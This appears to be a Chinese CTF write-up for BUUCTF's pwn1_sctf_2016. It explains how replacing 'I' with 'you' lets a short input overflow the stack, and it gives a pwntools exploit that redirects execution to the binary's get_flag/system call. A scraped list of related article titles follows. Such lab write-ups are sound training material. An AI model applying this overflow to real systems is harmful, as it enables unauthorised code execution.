[BUUCTF-pwn]——pwn1_sctf_2016

  • 题目地址:https://buuoj.cn/challenges#pwn1_sctf_2016
  • 题目:
    话不多说,先下载下来再说。
    在Linux上 checksec一下,发现开启了NX保护,但是没有开启Stack的保护,也就是说我们可以很轻易的利用栈溢出。

    在window的IDA上反汇编看下源码,额 ,main函数没有什么有用的信息。我们可以看下vuln函数。

    发现好大一堆,发现了fgets函数,但是很遗憾。它要求我们只能输入不超过32个字符。而我们的s距离ebp有0x3c也就是60的距离。发现下面有个replace 函数,进去看看有没有什么帮助。

    replace函数如下:
    仔细研读发现这个函数,发现有点小尴尬,看的不是太懂。所以…
    看到上面有 Iyou。打算动态调试一下,输入 I 或者 you 看看结果。结果发现,它会将 输入的 I 全部替换为 you!!!
    看到这里,相信大家已经有思路了,我们只需要输入20个 I 和 任意四个字符,就可以开始覆盖返回地址了。

查看右侧函数,发现有一个函数名称极其嚣张 get_flag 点开一看,果不其然。

查看函数所在位置:

我们看到system函数压参数是在0X08048F13所以我们可以将其作为我们的返回地址。
当然,0X08048F0D 也可以作为返回地址,这是get_flag函数开头,并且get_flag函数无参。

exploit如下:

from pwn import *
#context.log_level='debug' #加不加都可以
p=remote('node3.buuoj.cn',xxxx)
payload='I'*20 + 'junk' +p32(0x08048F13)
p.sendline(payload)
p.interactive()

[BUUCTF-pwn]——pwn1_sctf_2016相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. pytorch中调整学习率的lr_scheduler机制
  2. centos 7 mysql界面管理器_centos7安装mysql5.7.24,并使用system管理mysql
  3. Tomcat内部结构
  4. JPA规范的主要内容
  5. 径向基函数RBF三维网格变形
  6. 一篇文章了解Liquid模版引擎
  7. Angular JS
  8. linux中sar命令的选项很多,Linux sar 命令详解
  9. linux 删除中文文件夹,Linux删除文件夹命令是什么
  10. 如何保持最佳 MacBook 温度?
  11. Google官方 详解 Android 性能优化【史诗巨著之内存篇】
  12. 14Penrose广义逆(II)
  13. Python3-word文档操作(六):word文档中表格的操作-单元格文字居中,字体颜色等的设置
  14. Windows系统文件浏览标签窗口工具
  15. 利用setInterval()方法实现在页面上显示实时时间
  16. rainmeter 皮肤_Rainmeter入门指南:在桌面上显示系统统计信息
  17. js中求2个数的最大值的几种方法
  18. 原生js的animate方法
  19. Swaps in Permutation
  20. java400行能干啥?不如写个飞翔小鸟游戏吧

热门文章

  1. 海洋工作室——网站建设专家:How to check the SQL statement execute time on SQL Server ?...
  2. iOS之高德地图定位偏移以及经纬度之间的转换
  3. 你不知道的Python的输入输出
  4. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1107:校门外的树
  5. 深度学习——02、深度学习入门——经典卷积神经网络架构实例——RNN
  6. 【Tools】Bandicam安装和卸载
  7. 【MFC】工具栏按钮追加显示文本
  8. 【Linux网络编程】循环服务器之UDP循环模型
  9. c语言中关于宏和内联说法正确的是, 2011年1月高等教育自学考试全国统一命题考试 C++程序设计试题...
  10. pygame精灵组有哪些方法_小精灵科学室-如何在活动中提高幼儿的探究能力和科学探究活动?...